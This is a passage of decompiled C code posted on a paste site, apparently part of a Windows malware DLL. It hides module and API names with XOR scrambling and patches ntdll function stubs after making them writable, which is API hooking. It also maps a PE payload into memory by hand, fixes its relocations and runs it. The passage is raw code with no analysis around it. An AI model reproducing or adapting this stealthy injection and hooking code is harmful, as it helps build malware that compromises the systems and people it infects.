  693.     return (obfuscatedImports *)&Handle_Ntdll_dll;
  694. }
  695. int __usercall sub_10001E44<eax>(int a1<eax>, int a2<edx>, int a3<ecx>)
  696. {
  697.     int v3;  eax@1
  698.     int v4;  ecx@1
  699.     int v5;  edx@1
  700.     int v6;  eax@2
  701.     int v7;  edx@2
  702.     int v8;  ecx@2
  703.     int v9;  ST00_4@2
  704.     int v10;  edx@2
  705.     int v11;  edx@11
  706.     int v12;  eax@11
  707.     int v15;  [sp-10h] [bp-10h]@2
  708.     int v16;  [sp-Ch] [bp-Ch]@1
  709.     int v17;  [sp-8h] [bp-8h]@1
  710.     int v18;  [sp-4h] [bp-4h]@1
  711.     obfuscatedImports * Imports;
  712.  
  713.  
  714.     v18 = a1;
  715.     v17 = a3;
  716.     v16 = a2;
  717.     Imports = GetHandleToNtdll();
  718.     Imports->field_4 = 0;
  719.     v3 = Imports->proc_GetProcAddress(Imports->Handle_Ntdll_dll, v16);
  720.     v4 = v17;
  721.     if ( v3 )
  722.     {
  723.         v17 = v3;
  724.         v16 = v4;
  725.         v15 = v3;
  726.         v9 = v3;
  727.         Imports = GetHandleToNtdll();
  728.         v7 = Imports->proc_VirtualProtect(v9, 24, PAGE_EXECUTE_WRITECOPY, &v15);
  729.         v8 = v16;
  730.         v6 = v17;
  731.         if ( v7 )
  732.         {
  733.             if ( *(_BYTE *)v17 == -72 )
  734.             {
  735.                 if ( *(_BYTE *)(v17 + 5) == -70 )
  736.                 {
  737.                     if ( *(_WORD *)(v17 + 10) != -11521 )
  738.                     {
  739.                         if ( *(_WORD *)(v17 + 10) != 4863 )
  740.                             return v18;
  741.                         *(_BYTE *)(v17 + 11) = -46;
  742.                     }
  743.                     *(_DWORD *)(v6 + 6) = v8;
  744.                     return v18;
  745.                 }
  746.                 if ( *(_DWORD *)(v17 + 5) == 69489805 )
  747.                 {
  748.                     if ( *(_DWORD *)(v17 + 8) == -1037120252 )
  749.                     {
  750.                         *(_DWORD *)(v17 + 6) = v16 - v17 - 10;
  751.                         *(_BYTE *)(v6 + 5) = -24;
  752.                         *(_BYTE *)(v6 + 10) = -112;
  753.                     }
  754.                 }
  755.                 else
  756.                 {
  757.                     if ( *(_DWORD *)(v17 + 7) == 69489805 )
  758.                     {
  759.                         if ( *(_DWORD *)(v17 + 11) == -1072300188 )
  760.                         {
  761.                             if ( *(_DWORD *)(v17 + 15) == -1040187392 )
  762.                             {
  763.                                 v17 = v7;
  764.                                 Imports = GetHandleToNtdll();
  765.                                 Imports->field_4 = 1;
  766.                                 v16 = v12;
  767.                                 _ESI = v12;
  768.                                 __asm { lock cmpxchg8b qword ptr [esi+0Ah] }
  769.                             }
  770.                         }
  771.                     }
  772.                 }
  773.             }
  774.         }
  775.     }
  776.     return v18;
  777. }
  778. void __cdecl Scramble_Bytes(BYTE * input, char * output)
  779. {
  780.     if ( input )
  781.     {
  782.         for( ; *output = *input ^ 0x12; ++output, input += 2) {}
  783.     }
  784.     else
  785.     {
  786.         *output = 0;
  787.     }
  788. }
  789.  
  790. void __cdecl Scramble_Words(WORD * input, wchar_t * output)
  791.     {
  792.         if ( input )
  793.         {
  794.             for(; *output = *input ^ 0xAE12; ++input, ++output) {}
  795.         }
  796.         else
  797.         {
  798.             *output = 0;
  799.         }
  800.     }
  801.     HMODULE __cdecl AcquireHandleToNtdll()
  802.     {
  803.         wchar_t ModuleName[100];
  804.  
  805.         Scramble_Words(obfw_ntdll_dll, ModuleName);
  806.         return GetModuleHandleW(ModuleName);
  807.     }
  808.     FARPROC __cdecl GetScrambledProcAddress(WORD * Module, BYTE * Proc)
  809.     {
  810.         HMODULE hModule;
  811.         wchar_t ModuleName[100];
  812.         char ProcName[100];
  813.  
  814.         Scramble_Words(Module, ModuleName);
  815.         Scramble_Bytes(Proc, ProcName);
  816.         hModule = GetModuleHandleW(ModuleName);
  817.         return GetProcAddress(hModule, ProcName);
  818.     }
  819.     void __cdecl memcpy_wrapper_1(void *Dst, const void *Src, unsigned int Size)
  820.     {
  821.         memcpy(Dst, Src, Size);
  822.     }
  823.  
  824.     FARPROC __cdecl GetScrambledProcAddressFromKernel32(BYTE * Proc)
  825.     {
  826.         return GetScrambledProcAddress(obfw_kernel32_dll, Proc);
  827.     }
  828.  
  829.     FARPROC __cdecl GetScrambledProcAddressFromNtdll(BYTE * Proc)
  830.     {
  831.         return GetScrambledProcAddress(obfw_ntdll_dll, Proc);
  832.     }
  833.  
  834.     signed int __cdecl sub_10002060(int a1)
  835.     {
  836.         int v2;  [sp-4h] [bp-9Ch]@3
  837.         int v3;  [sp+0h] [bp-98h]@8
  838.         int v4;  [sp+4h] [bp-94h]@5
  839.         int v5;  [sp+8h] [bp-90h]@11
  840.         int v6;  [sp+Ch] [bp-8Ch]@1
  841.         int v7;  [sp+10h] [bp-88h]@1
  842.         int v8;  [sp+14h] [bp-84h]@1
  843.         unsigned int v9;  [sp+18h] [bp-80h]@1
  844.         int v10;  [sp+1Ch] [bp-7Ch]@1
  845.         int v11;  [sp+20h] [bp-78h]@11
  846.         int v12;  [sp+24h] [bp-74h]@1
  847.         char v13;  [sp+28h] [bp-70h]@5
  848.  
  849.         v7 = *(_DWORD *)(a1 + 32);
  850.         v8 = (char *)&dword_10001F1A + *(_DWORD *)(a1 + 8) - byte_10001AB9;
  851.         memcpy_wrapper_2(&v9, (const void *)v7, 0x80u);
  852.         v9 = (unsigned int)&v9 ^ 0xAE1979DD;
  853.         v10 = 0;
  854.         v12 = *(_DWORD *)(a1 + 4);
  855.         v6 = sub_100025C7(v8, (int)&v9, *(const void **)(v7 + 140), *(_DWORD *)(v7 + 144));
  856.         if ( v6 )
  857.             return v6;
  858.         v6 = sub_10002529(a1, v8);
  859.         if ( v6 )
  860.             return -4;
  861.         v4 = (*(int (__thiscall **)(int, char *))(v8 + 36))(v2, &v13);
  862.         if ( !v4 )
  863.             return -9;
  864.         *(_DWORD *)(v7 + 128) = v4;
  865.         if ( *(_DWORD *)(v7 + 148) != -1 )
  866.         {
  867.             v3 = (*(int (__thiscall **)(int, _DWORD, signed int, _DWORD, int, _DWORD, _DWORD))(v8 + 52))(
  868.                 v4,
  869.                 0,
  870.                 524288,
  871.                 *(_DWORD *)a1,
  872.                 a1,
  873.                 0,
  874.                 0);
  875.             if ( !v3 )
  876.                 return -13;
  877.             (*(void (__stdcall **)(int, signed int))(v8 + 56))(v3, -1);
  878.             (*(void (__stdcall **)(int, int *))(v8 + 60))(v3, &v6);
  879.         }
  880.         v5 = v11;
  881.         if ( v11 )
  882.         {
  883.             v11 = 0;
  884.             (*(void (__stdcall **)(int))(v8 + 64))(v5);
  885.         }
  886.         (*(void (__stdcall **)(int))(v8 + 28))(v7);
  887.         return v6;
  888.     }
  889.      10001F1A: using guessed type int dword_10001F1A;
  890.  
  891.    
  892.     int __stdcall sub_100021FE(int a1)
  893.     {
  894.         int result;  eax@2
  895.         int v2;  [sp+0h] [bp-Ch]@1
  896.         int v3;  [sp+4h] [bp-8h]@1
  897.         unsigned int v4;  [sp+8h] [bp-4h]@1
  898.  
  899.         v3 = *(_DWORD *)(a1 + 32);
  900.         v4 = (char *)&dword_10001F1A + *(_DWORD *)(a1 + 8) - byte_10001AB9;
  901.         v2 = (*(int (__stdcall **)(_DWORD, _DWORD))(v4 + 20))(*(_DWORD *)(v3 + 128), *(_DWORD *)(v3 + 148));
  902.         if ( v2 )
  903.         {
  904.             ((void (__cdecl *)(_DWORD, _DWORD))v2)(*(_DWORD *)(v3 + 132), *(_DWORD *)(v3 + 136));
  905.             result = 0;
  906.         }
  907.         else
  908.         {
  909.             (*(void (__stdcall **)(_DWORD))(v4 + 40))(*(_DWORD *)(v3 + 128));
  910.             result = 0;
  911.         }
  912.         return result;
  913.     }
  914.      10001F1A: using guessed type int dword_10001F1A;
  915.  
  916.    
  917.     int __cdecl sub_10002271(int a1, int a2, int a3)
  918.     {
  919.         int result;  eax@1
  920.  
  921.         *(_DWORD *)(a1 + 80) = *(_DWORD *)(a2 + 40) + *(_DWORD *)(a2 + 52);
  922.         *(_DWORD *)(a1 + 84) = 0;
  923.         *(_DWORD *)(a1 + 88) = *(_DWORD *)(a2 + 96);
  924.         *(_DWORD *)(a1 + 92) = *(_DWORD *)(a2 + 100);
  925.         *(_DWORD *)(a1 + 96) = *(_WORD *)(a2 + 92);
  926.         *(_WORD *)(a1 + 100) = *(_WORD *)(a2 + 74);
  927.         *(_WORD *)(a1 + 102) = *(_WORD *)(a2 + 72);
  928.         *(_DWORD *)(a1 + 104) = 0;
  929.         *(_WORD *)(a1 + 108) = *(_WORD *)(a2 + 22);
  930.         *(_WORD *)(a1 + 110) = *(_WORD *)(a2 + 94);
  931.         *(_WORD *)(a1 + 112) = *(_WORD *)(a2 + 4);
  932.         *(_BYTE *)(a1 + 114) = 1;
  933.         *(_BYTE *)(a1 + 115) = 4;
  934.         *(_DWORD *)(a1 + 116) = *(_DWORD *)(a2 + 112);
  935.         *(_DWORD *)(a1 + 120) = a3;
  936.         result = a1 + 80;
  937.         *(_DWORD *)(a1 + 124) = 0;
  938.         return result;
  939.     }
  940.  
  941.    
  942.     signed int __stdcall sub_10002334(int a1)
  943.     {
  944.         signed int result;  eax@3
  945.         int v2;  ST08_4@20
  946.         int v3;  [sp+8h] [bp-24h]@12
  947.         unsigned int v4;  [sp+Ch] [bp-20h]@12
  948.         unsigned int j;  [sp+10h] [bp-1Ch]@14
  949.         int v6;  [sp+18h] [bp-14h]@6
  950.         int v7;  [sp+1Ch] [bp-10h]@6
  951.         int v8;  [sp+24h] [bp-8h]@4
  952.         int i;  [sp+28h] [bp-4h]@10
  953.  
  954.         if ( a1 && *(_DWORD *)a1 )
  955.         {
  956.             v8 = *(_DWORD *)a1;
  957.             if ( **(_WORD **)a1 == 23117 )
  958.             {
  959.                 v6 = *(_DWORD *)(*(_DWORD *)a1 + 60) + v8;
  960.                 v7 = v8 - *(_DWORD *)(v6 + 52);
  961.                 if ( v8 == *(_DWORD *)(v6 + 52) )
  962.                 {
  963.                     result = 0;
  964.                 }
  965.                 else
  966.                 {
  967.                     *(_DWORD *)(v6 + 52) = v8;
  968.                     if ( *(_DWORD *)(v6 + 164) )
  969.                     {
  970.                         for ( i = *(_DWORD *)(v6 + 160) + v8; *(_DWORD *)(i + 4); i += *(_DWORD *)(i + 4) )
  971.                         {
  972.                             v4 = *(_DWORD *)(i + 4) - 8;
  973.                             v3 = i + 8;
  974.                             if ( v4 % 2 )
  975.                                 return -1073741800;
  976.                             for ( j = 0; j < v4 >> 1; ++j )
  977.                             {
  978.                                 if ( (unsigned __int8)(*(_WORD *)v3 >> 8) >> 4 )
  979.                                 {
  980.                                     if ( (unsigned __int8)(*(_WORD *)v3 >> 8) >> 4 != 3 )
  981.                                         return -1073741800;
  982.                                     v2 = (*(_WORD *)v3 & 0xFFF) + *(_DWORD *)i + v8;
  983.                                     *(_DWORD *)v2 += v7;
  984.                                 }
  985.                                 v3 += 2;
  986.                             }
  987.                         }
  988.                         result = 0;
  989.                     }
  990.                     else
  991.                     {
  992.                         result = -1073741800;
  993.                     }
  994.                 }
  995.             }
  996.             else
  997.             {
  998.                 result = -1073741819;
  999.             }
  1000.         }
  1001.         else
  1002.         {
  1003.             result = -1073741819;
  1004.         }
  1005.         return result;
  1006.     }
  1007.  
  1008.     void __cdecl memcpy_wrapper_2(void *Dst, const void *Src, unsigned int Size)
  1009.     {
  1010.         memcpy(Dst, Src, Size);
  1011.     }
  1012.  
  1013.    
  1014.     int __cdecl sub_100024A7(const void *a1, int a2, void *a3)
  1015.     {
  1016.         int result;  eax@2
  1017.         int v4;  [sp+0h] [bp-Ch]@1
  1018.         int v5;  [sp+4h] [bp-8h]@1
  1019.         int v6;  [sp+8h] [bp-4h]@1
  1020.  
  1021.         v4 = *(_WORD *)(a2 + 6);
  1022.         memcpy_wrapper_2(a3, a1, *(_DWORD *)(a2 + 84));
  1023.         v5 = a2 + *(_WORD *)(a2 + 20) + 24;
  1024.         v6 = 0;
  1025.         while ( 1 )
  1026.         {
  1027.             result = v6;
  1028.             if ( v6 >= v4 )
  1029.                 break;
  1030.             if ( *(_DWORD *)(v5 + 16) )
  1031.                 memcpy_wrapper_2((char *)a3 + *(_DWORD *)(v5 + 12), (char *)a1 + *(_DWORD *)(v5 + 20), *(_DWORD *)(v5 + 16));
  1032.             ++v6;
  1033.             v5 += 40;
  1034.         }
  1035.         return result;
  1036.     }
  1037.  
  1038.     signed int __cdecl sub_10002529(int a1, int a2)
  1039.     {
  1040.         signed int result;  eax@2
  1041.         int v3;  [sp+8h] [bp-Ch]@1
  1042.         void *v4;  [sp+Ch] [bp-8h]@3
  1043.         char v5;  [sp+10h] [bp-4h]@5
  1044.  
  1045.         v3 = *(_DWORD *)a2;
  1046.         if ( *(_DWORD *)a2 )
  1047.         {
  1048.             v4 = (void *)(v3 + 64);
  1049.             if ( *(_DWORD *)(v3 + 64) == -1421275077 )
  1050.             {
  1051.                 result = 0;
  1052.             }
  1053.             else
  1054.             {
  1055.                 if ( (*(int (__stdcall **)(int, signed int, signed int, char *))(a2 + 16))(v3, 4096, 128, &v5) )
  1056.                 {
  1057.                     memcpy_wrapper_2(v4, *(const void **)(a1 + 24), *(_DWORD *)(a1 + 28));
  1058.                     (*(void (__thiscall **)(void *))(a1 + 8))(v4);
  1059.                     (*(void (__stdcall **)(signed int, _DWORD, _DWORD))(a2 + 32))(-1, 0, 0);
  1060.                     result = 0;
  1061.                 }
  1062.                 else
  1063.                 {
  1064.                     result = -4;
  1065.                 }
  1066.             }
  1067.         }
  1068.         else
  1069.         {
  1070.             result = 0;
  1071.         }
  1072.         return result;
  1073.     }
  1074.  
  1075.     signed int __cdecl sub_100025C7(int a1, int a2, const void *a3, int a4)
  1076.     {
  1077.         signed int result;  eax@2
  1078.         int v5;  [sp+0h] [bp-1Ch]@3
  1079.         int v6;  [sp+4h] [bp-18h]@5
  1080.         int v7;  [sp+8h] [bp-14h]@5
  1081.         int v8;  [sp+Ch] [bp-10h]@5
  1082.         int v9;  [sp+10h] [bp-Ch]@7
  1083.         int v10;  [sp+14h] [bp-8h]@5
  1084.         const void *v11;  [sp+18h] [bp-4h]@1
  1085.  
  1086.         *(_DWORD *)(a2 + 8) = 0;
  1087.         v11 = a3;
  1088.         if ( *(_WORD *)a3 == 23117 )
  1089.         {
  1090.             v5 = (int)((char *)a3 + *((_DWORD *)v11 + 15));
  1091.             if ( *(_DWORD *)v5 == 17744 )
  1092.             {
  1093.                 v6 = *(_DWORD *)(v5 + 80);
  1094.                 v7 = 0;
  1095.                 v8 = (*(int (__stdcall **)(int *, signed int, _DWORD, int *, signed int, signed int, _DWORD))(a1 + 44))(
  1096.                     &v10,
  1097.                     983071,
  1098.                     0,
  1099.                     &v6,
  1100.                     64,
  1101.                     134217728,
  1102.                     0);
  1103.                 if ( v8 )
  1104.                 {
  1105.                     result = -11;
  1106.                 }
  1107.                 else
  1108.                 {
  1109.                     v9 = (*(int (__stdcall **)(int, signed int, _DWORD, _DWORD, _DWORD))(a1 + 24))(v10, 6, 0, 0, 0);
  1110.                     if ( v9 )
  1111.                     {
  1112.                         *(_DWORD *)(a2 + 8) = v10;
  1113.                         sub_100024A7(a3, v5, (void *)v9);
  1114.                         sub_10002271(a2, v5, a4);
  1115.                         (*(void (__stdcall **)(int))(a1 + 28))(v9);
  1116.                         result = 0;
  1117.                     }
  1118.                     else
  1119.                     {
  1120.                         (*(void (__stdcall **)(int))(a1 + 64))(v10);
  1121.                         result = -10;
  1122.                     }
  1123.                 }
  1124.             }
  1125.             else
  1126.             {
  1127.                 result = -2;
  1128.             }
  1129.         }
  1130.         else
  1131.         {
  1132.             result = -2;
  1133.         }
  1134.         return result;
  1135.     }
  1136.     void __cdecl sub_100026A8()
  1137.     {
  1138.         ;
  1139.     }
Advertisement
Add Comment
Please, Sign In to add comment